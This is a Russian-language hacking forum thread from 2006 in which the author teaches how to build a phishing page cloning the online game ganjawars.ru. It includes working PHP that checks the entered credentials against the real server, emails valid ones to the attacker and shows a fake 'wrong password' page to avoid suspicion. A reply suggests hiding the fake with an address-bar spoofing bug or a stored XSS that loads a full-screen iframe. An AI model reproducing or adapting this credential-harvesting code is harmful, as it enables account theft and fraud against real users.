Авторские статьи Создание фейковых страниц ( скамов )

Discussion in 'Статьи' started by gemaglabin, 16 Sep 2006.

  1. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    Скамы (SCAM) - фейки сайтов,создаваемые с целью сбора вводимой информации,будь то идентификационные данные либо какая-то ценная информация.Зачастую скамы играют на руку кардерам - нередки случаи создания липовых шопов.

    Создание скама зачастую сводится к изменению скрипта-обработчика таким образом,чтобы данные отсылались не на оригинальный сайт,а собирались в файле либо сразу отсылались на почту к злоумышленику.Дизан таких сайтов ничуть не отличается от их братьев-оригиналов и заподозрить неладное может только опытный пользователь или же сам проект вводит защиту от фишинга.Yahoo предлагает вводить заведомо введенные данные при аутенфикации или например использовать форму логина заданного цвета.Firefox второй ветки сравнивает сайт с черным списком и в случае обнаружения поддельного сайта извещает юзера и не дает ввести данные.Internet Explorer такжи имеет защиту,но фильтр надо качать отдельно ( http://g.msn.com/8SEENUS020100/AddinsPhishingLand_downloadURL )

    Для примера создадим грамотный фейк популярной онлайн-игры ganjawars.ru.Скрипт будет не только собирать введенную информацию,но и проверять подлинность введенных данных,и в случае существования введенного юзера и правильности логина и пароля перебрасывать его на страницу с неправильно введенным паролем чтобы не вызывать подозрения.

    Для начала сохраним страницу к себе на жесткий диск и посмотрим куда идут введенные логин с паролем.

    <form name="loginform" id="loginform" action="http://www.ganjawars.ru/login.php" method="post"></form>

    Изменяем поле обработчика action с удаленного http://www.ganjawars.ru/login.php на локальный login.php.Снифаем запрос логина.В случае правильной связки вводимых данных сервер ответит 302 Found,в обратном - "Неверно указан пароль",если же логин не существует - "Неверно указан никнейм".

    PHP:
    <?php
    # обьявяем переменные
    define _Mail,"[email protected]");
    define _Subj,"New ganjawars account");
    # данные переданы,начинаем процедуру логина
    if (isset($_POST['login']) && isset($_POST['pass']))
    {
    # коннектимся к ganjawars.ru 
     
    $fsock fsockopen("ganjawars.ru",80,$err,$errdesc,3);
    # формируем запрос
     
    $params   "login=".$_POST['login']."&pass=".$_POST['pass'];
     
    $request  "POST /login.php HTTP/1.1\r\n";
     
    $request .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.6) Gecko/20060728 Firefox/1.5.0.6\r\n";
     
    $request .= "Accept-Language: ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
     
    $request .= "Referer: http://ganjawars.ru/login.php\r\n";
     
    $request .= "Content-Type: application/x-www-form-urlencoded\r\n";
     
    $request .= "Host: ganjawars.ru\r\n";
     
    $request .= "Content-Length: ".strlen($params)."\r\n";
     
    $request .= "Connection: Keep-Alive\r\n\r\n";
     
    $request .= $params;
    # отсылаем запрос
     
    fwrite($fsock,$request); 
    # принимаем ответ сервера
     
    while (!feof($fsock))  $responce .= fgets($fsock,1024);
    # обрабатываем ответ
     
    if (strpos($responce,"302 Found")) 
     {
      
    $msg "New account : ".$_POST['login']." : ".$_POST['pass'];
      
    mail (_Mail,_Subj,$msg,"From: [email protected]");
      
    $fd  fopen("_login.php","r");
      
    $log fread($fd,filesize("_login.php"));
      
    fclose($fd);
      echo 
    $log;
     }
     
     if (
    strpos($responce,"Неверно указан никнейм"))
     {
      
    $responce substr($responce,strpos($responce,"<"));
      print 
    $responce;
     }
     if (
    strpos($responce,"Неверно указан пароль")) 
     { 
     
    $responce substr($responce,strpos($responce,"<"));
     print 
    $responce;
     }
    }
    В случае правильного пароля мы отсылаем его на заданное мыло и показываем содержимое файла _login.php где четко говорится что пароль указан неверно (предварительно мы сохранили этот файл - сделали запрос с заведомо неправильным паролем ).Если же юзер не существует или пароль неверен выводим ответ сервера отделенный от хидера,где обработчик формы будет уже на оригинальном сервера ganjawars.ru

    Скрипт прекрасно работает и рядовой юзер врядли догадается что его обманывают.Не стоит забывать о мелочах.Несоответствие времени , логотипа или новостей может вызвать подозрение.Универсальный вариант - загрузка оригинальной страницы и замена скрипта обработчика на лету.EOF
     
    7 people like this.
  2. gemaglabin

    gemaglabin Green member

    Joined:
    1 Aug 2006
    Messages:
    772
    Likes Received:
    842
    Reputations:
    1,369
    http://www.scam.com/ - английский форум посвященный фейкам
     
  3. podkashey

    podkashey С крышкой по жизни!

    Joined:
    18 Jun 2005
    Messages:
    756
    Likes Received:
    351
    Reputations:
    353
    Хотелось бы добавить, что отсылать на фейковую страницу не обязательно стандартными способами, чтобы пользователь видел адрес в строке браузера. Можно воспользоваться, например, уязвимостью ИЕ - отображение в строке браузера другого адреса или, что еще чаще применяется, использование активной Xss, когда в тело Xss вписывается фрейм, с фейковой страницей на весь экран.
     
    1 person likes this.